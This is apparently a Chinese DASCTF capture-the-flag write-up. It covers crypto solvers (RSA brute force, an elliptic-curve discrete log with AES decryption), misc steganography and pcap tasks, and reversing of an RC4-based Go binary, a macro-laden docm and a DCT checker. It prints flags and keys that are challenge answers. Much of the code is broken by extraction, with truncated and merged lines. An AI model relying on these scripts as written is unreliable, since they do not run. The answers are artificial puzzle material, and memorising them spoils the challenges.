import libnum import gmpy2 e = 65537 c = 356435791209686635044593929546092486613929446770721636839137 p = 898278915648707936019913202333 q = 814090608763917394723955024893 newm = libnum.s2n(b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15') n = p * q d = gmpy2.invert(e, (p - 1) * (q - 1)) def decrypt_rsa(c, n, length): prefix = b"DASCTF{" for l in range(length): # 計算兩個邊界值 f1 和 f2 f1 = libnum.s2n(prefix + b"\xff" * l + b"}") // n f2 = libnum.s2n(prefix + b"\x00" * l + b"}") // n k = f2 m = c + k * n while k < f1: flag = libnum.n2s(m) valid_flag = all( 48 <= byte <= 57 or 65 <= byte <= 90 or 97 <= byte <= 122 or byte in {95, 123, 125} for byte in flag) if valid_flag: return flag, k # 如果 flag 無效,嘗試下一個可能的值 if m % 256 == ord('}'): m += (256 * n) k += 256 else: m += n k += 1 return None, None flag, k = decrypt_rsa(newm, n, 36) print(flag) #b'DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}'
四、BabyCurve
先嚐試爆破b和c,利用Pohlig-Hellman演算法計算離散對數,之後 就是常規的AES中的cbc加密。
from Crypto.Util.Padding import pad from Crypto.Cipher import AES import binascii import libnum import hashlib from Crypto.Util.Padding import unpad def add_curve(P, Q, K): a, d, p = K if P == (0, 0): return Q if Q == (0, 0): return P x1, y1 = P x2, y2 = Q x3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % p y3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow( (1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % p return x3, y3 def mul_curve(n, P, K): R = (0, 0) while n > 0: if n % 2 == 1: R = add_curve(R, P, K) P = add_curve(P, P, K) n = n // 2 return R a = 46 d = 20 p1 = 826100030683243954408990060837 K1 = (a, d, p1) G1 = (560766116033078013304693968735, 756416322956623525864568772142) P1 = (528578510004630596855654721810, 639541632629313772609548040620) Q1 = (819520958411405887240280598475, 76906957256966244725924513645) for c in range(100): if P1 == mul_curve(c, G1, K1): print("c =", c) break for b in range(100): if Q1 == mul_curve(b, G1, K1): print("b =", b) break #c = 35 #b = 98 p = 770311352827455849356512448287 a = -35 b = 98 gx =584273268656071313022845392380 gy =105970580903682721429154563816 px =401055814681171318348566474726 py =293186309252428491012795616690 E = EllipticCurve(GF(p), [a, b]) G = E.gens()[0] n = E.order() QA = E(px, py) factors = list(factor(n)) m = 1 moduli = [] remainders = [] print(f"[+] Running Pohlig Hellman") print(factors) for i, j in factors: if i > 10**9: print(i) break mod = i**j g2 = G*(n//mod) q2 = QA*(n//mod) r = discrete_log(q2, g2, operation='+') remainders.append(r) moduli.append(mod) m *= mod r = crt(remainders, moduli) print(r) #59260093280148 n = P.order() // factors[-1][0] #318034270656032 data = { 'iv': 'bae1b42f174443d009c8d3a1576f07d6', 'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4' } for i in range(99999): key = hashlib.sha256(str(r).encode()).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(data['iv'])) ciphertext = bytes.fromhex(data['cipher']) try: plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, AES.block_size) if plaintext.startswith(b'DASCTF{'): print(plaintext.decode('utf-8')) break except ValueError: pass r += n # b'DASCTF{THe_C0rv!_1s_Aw3s0me@!!}
misc
1.hiden
剛拿到題目還不明白txt的名字是什麼意思,後來查閱misc常見的加密形式中偶然發現rot47加密和rot13 加密裡面的數字加在一起剛好是60,真是長見識了。果斷進行解密:
得到一個加密指令碼:
import wave
with open('flag.txt', 'rb') as f:
txt data = f.read()
file len = len(txt data)
txt data = file len.to bytes(3, byteorder = 'little') + txt data
with wave.open("test.wav", "rb") as f:
attrib = f.getparams()
wav data = bytearray( f.readframes(-1) )
for index in range(len(txt data)):
wav data[index * 4] = txt data[index]
with wave.open("hiden.wav", "wb") as f:
f.setparams(attrib)
f.writeframes(wav data)
直接拉去gpt給我們一個指令碼解密:
import wave
\# 開啟隱藏了txt資料的wav檔案
with wave.open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件
\hiden\hiden\hiden.wav", "rb") as f:
attrib = f.getparams()
wav data = bytearray(f.readframes(-1))
\# 提取文字資料
txt data = bytearray()
for index in range(0, len(wav data), 4):
txt data.append(wav data[index])
\# 計算原始txt資料的長度 try:
file len = int.from bytes(txt data[:3], byteorder='little') txt data = txt data[3:]
\# 如果提取的資料長度小於原始長度,則擷取到實際長度
txt data = txt data[:file len] except (IndexError, ValueError) as e:
print(f"An error occurred while extracting the data: {e}")
exit(1)
\# 將提取的位元組寫入flag.txt檔案
with open(r"E:\download\hiden的附件 (2)\tempdir\MISC附件\hiden\hiden\flagg.txt",
'wb') as f:
f.write(txt data)
print("flag.txt has been decrypted.")
DASCTF{12jkl-456m78-90n1234}
2.check in:
下載下來發現是一個十六進位制檔案,直接匯入到010中開啟檢視發現有流量包的字樣,但暫時沒有思路。
回過頭來重新找線索,發現居然在壓縮包中有註釋:
拉去一個一個試發現是base58解密:
使用webstego來解密檔案:
得到一個log日誌,那麼確定了肯定是用來做流量檔案的金鑰,考慮可以將十六進位制轉化為字串:
def hex to pcapng(hex string, output file):
# 將十六進位制字串轉換為位元組
bytes data = bytes.fromhex(hex string)
# 將位元組寫入指定的輸出檔案
with open(output file, 'wb') as f: f.write(bytes data)
# 示例用法
if name == " main ":
# 讀取十六進位制字串(假設從檔案中讀取)
with open(r"E:\download\Checkin\FLag.txt", 'r') as f: hex string = f.read().strip()
# 檢查檔案是否以0d0a開頭
if hex string.startswith('0d0a'):
# 去掉開頭的0d0a
hex string = hex string[4:]
# 列印出 hex string 以供除錯
print(f"原始十六進位制字串:{hex string}")
# 清理輸入,去掉任何非十六進位制字元
hex string = ''.join(filter(lambda x: x in '0123456789abcdefABCDEF', hex string))
# 確保 hex string 的長度為偶數
if len(hex string) % 2 != 0:
print("警告:十六進位制字串長度為奇數,可能導致轉換錯誤。")
去掉最後一個字元(或處理異常)
# 寫入pcapng檔案
output filename = r"E:\download\Checkin\FLag.pcapng" hex to pcapng(hex string, output filename)
print(f"已成功轉換為 {output filename}")
得到pcap檔案,然後根據網上教程依次:
“編輯”——“首選項”——“TLS"——填入剛才得到的log日誌,然後過濾http後查詢flag:
得到一個gif圖片 ,匯出來一個gif圖片
用命令來處理幀:
identify -format "%T " kk.gif > flag.txt 得到一串數字:
換一換數字再進行二進位制解碼:
5.不一樣的資料庫_2
下載下來發現加密壓縮包直接爆破得到密碼:
得到一張
得到字串,名字提示rot13,解碼後得到:
AES@JDHXGD12345&JJJS@JJJSK#JJDKA JKAH 使用keepass開啟kdbx檔案:
得到密文,並在history中發現密文,結合名字aes,直接解密得到最終flag:
6.so much
下載下來發現是無字尾的檔案,010開啟觀察一下檔案:
得到密碼,ftk掛載:
輸入密碼:
1234567發現不對,嘗試一下鍵盤上對應的字元!@#¥%……&:
得到了許多小檔案,隨便點開幾個,沒有發現有用的資訊,然後注意到時間只有一些微小的差別,考慮 可能隱藏在時間戳中,仔細觀察發現分和秒都只有兩種情況,將分鐘數視為0和1,作為二進位制來解密:
00110111 00110000 00110000 00110010 00110010 00111001 01100011 00110000 00110101
00110011 01100010 00110100 01100101 01100010 01100010 01100011 01100110 00110001
01100001 00110011 01100011 01100011 00110011 00110111 01100011 00110011 00111000
00111001 01100011 00110100 01100110 01100001
解密得到:
700229c053b4ebbcf1a3cc37c389c4fa
使用encrypto軟體隨便解密兩個,剛好0和1檔案就是flag: DASCTF{85235bd803c2a0662b771396bce9968f}
4.miaoro
下載壓縮包,解壓得到一個流量包:
老樣子查一下flag沒有查到有用資訊,追蹤一下tcp流,在第6個流後發現幾個非常長的cookie:
挨個解密看一下有沒有可用資訊:
發現關鍵字串,得到上半部分flag。
同樣發現有可疑字元;
GWHT命令,將之後每一個流中的該命令base64解密發現可讀字元:
在其中發現一串密碼:
同時在流13中發現了一大串回應的報文,同樣拉去base64;
得到明顯的十六進位制資料,但是沒有觀察到有效的檔案頭, 把最右側的十六進位制資料取出來,逆序後轉十 六進位制發現pk關鍵標識頭
稍加修復後儲存為壓縮包,密碼直接用剛才找到的密碼即可得到圖片,改一下寬高得到後半的flag:
DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}
3.1z_misc
下載下來發現是隻有一句謎語,被卡了三個小時(火),嘗試了很多方法,後來出了hint終於才勉強明白 出題人的腦洞,直接看圖:
是以十二歲而行二十八宿,其間奧妙,待探尋,顯真章。
若女可為11,可為1124......觜可為91,亦可為725...結合要求,規律為逆時針轉,前面兩位為裡面的天 幹,後兩位為外面的星宿,且永遠從當前天干的最右邊的星宿為1數起,得到金鑰:
心胃心奎奎心奎心奎心胃心心心胃心心胃心奎奎奎奎胃奎心奎奎胃奎心奎心奎奎
觀察一下發現只有胃沒有連著,應該是空格,其他的一個長一個短作為摩斯程式碼解密得到金鑰E@SILY!
解密後得到一個hint和一個無字尾檔案,以前見過類似的題目,用lyra工具處理後,把音訊用線上的轉文
字工具提取出來會發現是一個核心價值觀解密,解密即可得到flag。
RE
pic
拿到附件,是一張資料被篡改的png圖片和一個可執行檔案,於是我們先運 行一下可執行檔案,
可以看到沒有報錯的提示,接下來我們查殼,
沒有殼,64bit,直接丟到ida64裡分析,然後直接F5大法,
發現並沒有什麼東西,然後再根據剛剛執行程式的回顯來試一試,搜了key, 沒找到,再搜了DAS,才搜到,終於拿到虛擬碼
// main.main
void fastcall main main()
{
int v0; // ebx int v1; // edi int v2; // esi
int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p string; // rax int v10; // ebx
int v11; // r8d
int v12; // r9d
int v13; // r10d
int v14; // r11d
int v15; // ecx
int v16; // r8d
int v17; // r9d
int v18; // r10d
int v19; // r11d
char *ptr; // rbx int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d
int64 v35; // [rsp-36h] [rbp-C8h]
int64 v36; // [rsp-36h] [rbp-C8h]
int64 v37; // [rsp-36h] [rbp-C8h]
int64 v38; // [rsp-36h] [rbp-C8h]
int64 v39; // [rsp-36h] [rbp-C8h]
int64 v40; // [rsp-36h] [rbp-C8h]
int64 v41; // [rsp-2Eh] [rbp-C0h]
int64 v42; // [rsp-26h] [rbp-B8h] char v43; // [rsp+Ah] [rbp-88h] BYREF
int64 v44; // [rsp+32h] [rbp-60h] string *v45; // [rsp+3Ah] [rbp-58h]
int128 v46; // [rsp+42h] [rbp-50h] BYREF
QWORD v47[2]; // [rsp+52h] [rbp-40h] BYREF
QWORD v48[2]; // [rsp+62h] [rbp-30h] BYREF
QWORD v49[3]; // [rsp+72h] [rbp-20h] BYREF
while ( (unsigned int64)&v46 + 8 <= *( QWORD *)(v3 + 16) )
runtime morestack noctxt(); v49[2] = 0LL;
if ( (unsigned int8)main isDebuggerPresent() ) os Exit(0, v0, v4, v1, v2, v5);
v49[0] = &RTYPE string; v49[1] = &off 4DD470; fmt Fprintln(
(unsigned int)off 4DD9F8, qword 561D60,
(unsigned int)v49,
1,
1,
(unsigned int)&off 4DD470,
v6, v7, v8, v35);
p string = (string *)runtime newobject((const RTYPE *)&RTYPE string) v45 = p string;
p string->ptr = 0LL;
v48[0] = &RTYPE ptr string; v48[1] = p string;
v10 = qword 561D58;
fmt Fscan((unsigned int)off 4DD9D8, qword 561D58, (unsigned int)v48, if ( v45->len != 5 )
os Exit(0, v10, v15, 1, 1, v16); v47[0] = &RTYPE string;
v47[1] = &off 4DD480;
fmt Fprintln((unsigned int)off 4DD9F8, qword 561D60, (unsigned int)v ptr = v45->ptr;
v25 = runtime stringtoslicebyte((unsigned int)&v43, v45->ptr, v45->l v44 = main NewCipher(v25, ( DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 os OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v33,
}
可以看到先檢測長度是否為5,就是要求我們輸入key,但是當我們點進 main_NewCipher函式時,看著像rc4加密,但是沒有異或加密的部分,只有初始化init和生成金鑰流的部分,於是檢視一下彙編,
可以看到有一個花指令,去一下,就可以拿到真正的虛擬碼了,然後F5,
// main.main
void fastcall main main()
{
int v0; // ebx int v1; // edi int v2; // esi
int64 v3; // r14 int v4; // ecx int v5; // r8d int v6; // r9d int v7; // r10d int v8; // r11d
string *p string; // rax int v10; // ebx
int v11; // r8d
int v12; // r9d
int v13; // r10d
int v14; // r11d
int v15; // ecx
int v16; // r8d
int v17; // r9d
int v18; // r10d
int v19; // r11d
char *ptr; // rbx
int v21; // r8d int v22; // r9d int v23; // r10d int v24; // r11d int v25; // eax int v26; // ecx int v27; // r8d int v28; // r9d int v29; // r10d int v30; // r11d int v31; // r8d int v32; // r9d int v33; // r10d int v34; // r11d
int64 v35; // rax
int64 v36; // rbx int v37; // r8d int v38; // r9d int v39; // r10d int v40; // r11d
int64 All; // rax int v42; // r8d int v43; // r9d int v44; // r10d int v45; // r11d char *v46; // rdx
int64 v47; // rax
int64 v48; // r11
int64 v49; // rsi
int64 v50; // rcx
int64 i; // rbx
int64 v52; // rdx int v53; // r9d int v54; // r10d
int64 j; // rbx int v56; // r13d char v57; // si
int64 v58; // [rsp-36h] [rbp-C8h]
int64 v59; // [rsp-36h] [rbp-C8h]
int64 v60; // [rsp-36h] [rbp-C8h]
int64 v61; // [rsp-36h] [rbp-C8h]
int64 v62; // [rsp-36h] [rbp-C8h]
int64 v63; // [rsp-36h] [rbp-C8h]
int64 v64; // [rsp-36h] [rbp-C8h]
int64 v65; // [rsp-36h] [rbp-C8h]
int64 v66; // [rsp-36h] [rbp-C8h]
int64 v67; // [rsp-2Eh] [rbp-C0h]
int64 v68; // [rsp-2Eh] [rbp-C0h]
int64 v69; // [rsp-2Eh] [rbp-C0h]
int64 v70; // [rsp-2Eh] [rbp-C0h]
BYTE v71[24]; // [rsp-26h] [rbp-B8h]
int64 v72; // [rsp-26h] [rbp-B8h] int v73; // [rsp-Eh] [rbp-A0h]
char v74; // [rsp+0h] [rbp-92h]
char v75; // [rsp+Ah] [rbp-88h] BYREF
int64 v76; // [rsp+2Ah] [rbp-68h]
int64 v77; // [rsp+32h] [rbp-60h] string *v78; // [rsp+3Ah] [rbp-58h]
int64 ( golang *v79)(int, int, int, int, int, int, int, int, int,
int64 v80; // [rsp+4Ah] [rbp-48h] BYREF
QWORD v81[2]; // [rsp+52h] [rbp-40h] BYREF
QWORD v82[2]; // [rsp+62h] [rbp-30h] BYREF
QWORD v83[2]; // [rsp+72h] [rbp-20h] BYREF void (**v84)(void); // [rsp+82h] [rbp-10h]
while ( (unsigned int64)&v80
runtime morestack noctxt(); v84 = 0LL;
if ( (unsigned int8)main isDebuggerPresent() os Exit(0, v0, v4, v1, v2, v5);
v83[0] = &RTYPE string; v83[1] = &off 4DD470; fmt Fprintln(
(unsigned int)off 4DD9F8, qword 561D60,
(unsigned int)v83,
1,
1,
(unsigned int)&off 4DD470,
v6, v7, v8, v58);
p string = (string v78 = p string;
p string->ptr = 0LL;
v82[0] = &RTYPE ptr string; v82[1] = p string;
v10 = qword 561D58;
fmt Fscan((unsigned int)off 4DD9D8, if ( v78->len != 5 )
os Exit(0, v10, v15, 1, 1, v16); v81[0] = &RTYPE string;
v81[1] = &off 4DD480;
fmt Fprintln((unsigned int)off 4DD9F8, qword 561D60, (unsigned int)v ptr = v78->ptr;
v25 = runtime stringtoslicebyte((unsigned int)&v75, v78->ptr, v78->l v77 = main NewCipher(v25, ( DWORD)ptr, v26, 1, 1, v27, v28, v29, v30 v35 = os OpenFile((unsigned int)"./flag.png", 10, 0, 0, 1, v31, v32, v79 = main main func1;
v80 = v35;
v84 = (void (**)(void))&v79; v36 = v35;
All = io ReadAll((unsigned int)off 4DD9D8, v35, (unsigned int)&v79, v46 = v78->ptr;
if ( v78->len <= 1 )
runtime panicIndex(1LL); v76 = All;
v74 = v46[1];
v47 = runtime makeslice((unsigned int)&RTYPE uint8, v36, v36, 0, 1, v49 = v76;
v50 = v36;
for ( i = 0LL; v50 > i; ++i )
*( BYTE *)(v47 + i) = v74 ^ *( BYTE *)(v49 + i); v52 = v77;
v53 = *(unsigned int8 *)(v77 + 1024); v54 = *(unsigned int8 *)(v77 + 1025); for ( j = 0LL; v50 > j; ++j )
{
v56 = *( DWORD *)(v52
v54 += v56;
v57 = *( BYTE *)(j + v47);
*( DWORD *)(v52 + 4LL * (unsigned int8)v53) =
*( DWORD *)(v52 + 4LL * (unsigned int8)v54) = v48 = (unsigned int8)(v56 + *( DWORD *)(v52 +
*( BYTE *)(v47 + j) = *( BYTE *)(v52 + 4 * v48)
}
*( BYTE *)(v52 + 1024) = v53;
*( BYTE *)(v52 + 1025) = v54;
os WriteFile((int)"./flag.png", 10, v47, v50, v50, 420, v53, v54, v4
(*v84)();
}
有兩處異或
然後我們就可以寫個python指令碼進行爆破,爆破的內容就是png檔案的檔案 頭
from itertools import product import string
def init(key):
key length = len(key) S = list(range(256)) j = 0
for i in range(256):
j = (j + S[i] + key[i % key length]) % 256
S[i], S[j] = S[j], S[i] return S
def fff(S, length):
i = j = 0 K = []
for in range(length): i = (i + 1) % 256
j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i]
K.append(S[(S[i] + S[j]) % 256]) return K
def RC4(key, plaintext):
key = [ord(c) for c in key]
S = init(key)
keystream = fff(S, len(plaintext))
result = bytearray([keystream[i] ^ plaintext[i]
^ 0x11
for i in ra
result = bytearray([b ^ key[1] for b in result]) return result
def find key for png signature():
"""Try to find the key by matching the PNG signature""" table = string.digits + "abcdef"
target signature = bytes([0x89, 0x50, 0x4E, 0x47])
with open("1.png", 'rb') as f: enc = f.read(4)
print("Trying all possible keys...") for s in product(table, repeat=5):
key = "".join(s)
decrypted = RC4(key, enc)
if decrypted[:4] == target signature:
print(f"Found key: {key}") break
else:
print("No valid key found.")
if name == " main ":
find key for png signature()
拿到金鑰
執行程式,輸入金鑰,圖片的資料進行修改拿到flag
docCrack WP
拿到附件,是一個docm檔案,第一反應就是考察宏程式碼,剛好題目也說是老 東西,於是乎就用olevba“一把梭”了,
然後開啟得到的txt檔案,開始分析,可以看到有一個異或,異或7,
然後還有一個把所有字串合在一起,就是這個xpkdb
然後將所有字元儲存起來,執行指令
得到一個exe檔案了,然後就直接用ida分析了
int fastcall main 0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
int64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF int v7[125]; // [rsp+30h] [rbp+10h] int j; // [rsp+224h] [rbp+204h]
v3 = &v6;
for ( i = 138i64; i; --i )
{
*)v3 = -858993460;
}
j CheckForDebuggerJustMyCode(&unk 14002200E, argv, envp); v7[0] = 4288;
v7[1] = 4480; v7[2] = 5376; v7[3] = 4352; v7[4] = 5312; v7[5] = 4160; v7[6] = 7936; v7[7] = 5184; v7[8] = 6464; v7[9] = 6528; v7[10] = 5632; v7[11] = 3456; v7[12] = 7424; v7[13] = 5632; v7[14] = 6336; v7[15] = 6528; v7[16] = 6720; v7[17] = 6144; v7[18] = 6272; v7[19] = 7488; v7[20] = 6656; v7[21] = 7296; v7[22] = 7424; v7[23] = 2432; v7[24] = 2432; v7[25] = 2432; v7[26] = 5632; v7[27] = 4416; v7[28] = 3456; v7[29] = 7168; v7[30] = 6528;
v7[31] = 7488; v7[32] = 6272; v7[33] = 5632; v7[34] = 3520; v7[35] = 6208; v7[36] = 5632; v7[37] = 4736; v7[38] = 6528; v7[39] = 6400; v7[40] = 7488; v7[41] = 3520; v7[42] = 5632; v7[43] = 5184; v7[44] = 3456; v7[45] = 7488; v7[46] = 7296; v7[47] = 3200; v7[48] = 6272; v7[49] = 7424; v7[50] = 2432; v7[51] = 2432; v7[52] = 2432; v7[53] = 7808; if ( argc == 2 )
{
for ( j = 0; j < (int)j strlen(argv[1])
v7[j + 64] = argv[1][j] << 6; for ( j = 0; (unsigned int64)j <
{
if ( v7[j] != v7[j + 64] )
{
sub 140011190("bad"); return 0;
}
}
sub 140011190("good"); return 0;
}
else
{
sub 140011190("no way!!!"); return 1;
}
}
就是一個位移,然後就可以寫指令碼了,很簡單,
enc = [0] * 54
enc[0] = 4288
enc[1] = 4480
enc[2] = 5376
enc[3] = 4352
enc[4] = 5312
enc[5] = 4160
enc[6] = 7936
enc[7] = 5184
enc[8] = 6464
enc[9] = 6528
enc[10] = 5632
enc[11] = 3456
enc[12] = 7424
enc[13] = 5632
enc[14] = 6336
enc[15] = 6528
enc[16] = 6720
enc[17] = 6144
enc[18] = 6272
enc[19] = 7488
enc[20] = 6656
enc[21] = 7296
enc[22] = 7424
enc[23] = 2432
enc[24] = 2432
enc[25] = 2432
enc[26] = 5632
enc[27] = 4416
enc[28] = 3456
enc[29] = 7168
enc[30] = 6528
enc[31] = 7488
enc[32] = 6272
enc[33] = 5632
enc[34] = 3520
enc[35] = 6208
enc[36] = 5632
enc[37] = 4736
enc[38] = 6528
enc[39] = 6400
enc[40] = 7488
enc[41] = 3520
enc[42] = 5632
enc[43] = 5184
enc[44] = 3456
enc[45] = 7488 enc[46] = 7296 enc[47] = 3200 enc[48] = 6272 enc[49] = 7424 enc[50] = 2432 enc[51] = 2432 enc[52] = 2432 enc[53] = 7808 for i in enc:
print(chr((i >> 6) ^ 7), end="")
flag:DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}
你這主函式保真麼 WP
拿到附件,我們就是一個可執行檔案,執行一下,看看回顯,可以看到有個 長度判斷。查殼,
沒有殼,32位,直接丟進ida32分析,直接F5,看到的是
可是當我們看到左邊函式視窗,有一些很可疑的函式名,
一一檢視下來,可以知道,encrypt(std::vector const&)函式是一個DCT, rot13_encrypt函式就是和它名字一樣,rot,然後就是 tcf_0....再一個就是 _GLOBAL_sub_I_flag函式,這個函式也是最奇怪的,點進來一看
Test::Test函式是輸入和檢測長度的功能, tcf_2函式里面卻是判斷正誤的地 方,Test2::Test2裡就是rot,然後DCT在 tcf_3裡,這就很奇怪了,程式執行 順序完全亂了,這就真的應了題目名稱所說你這主函式包真嗎,後來搜尋 atexit函式的作用才知道,該函式註冊的函式會在程式結束的時候進行逆序的 執行,逆序的序就是函式註冊的順序,那這就可以理解了,輸入的flag,先
進行了rot加密,然後再來一次dct加密,最後進行比對,比對的資料就是 check陣列,那麼我們就可以寫解密指令碼了
import numpy as np
def idct(dct coeffs): N = len(dct coeffs)
original = np.zeros(N) PI = np.pi
for n in range(N): sum val = 0.0
for k in range(N):
Ck = (1.0 / np.sqrt(N)) if k == 0 else np.sqrt(2.0 / N) sum val += Ck * dct coeffs[k] * np.cos(PI * k * (2.0 * n +
original[n] = sum val return original
def vector to string(vec):
result = '' for val in vec:
ascii val = int(round(val)) if 32 <= ascii val <= 126:
result += chr(ascii val) return result
def rot13(input str): output = ''
for c in input str: if 'a' <= c <= 'z':
output += chr((ord(c) elif 'A' <= c <= 'Z':
output += chr((ord(c) else:
output += c return output
def main(): enc = [
513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.9864 15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20
-4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.74
-9.75476, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.68 26.8296
]
original = idct(enc)
original string = vector to string(original) decrypted string = rot13(original string)
print("Decrypted string:", decrypted string)
if name == " main ": main()
得到flag
DASCTF{Wh0_1sMa1n@nd_FunnY_Dct}
題目附件地址:連結: https://pan.baidu.com/s/1DyWeste-n9tM3UpoZtlM5g 提取碼: 761f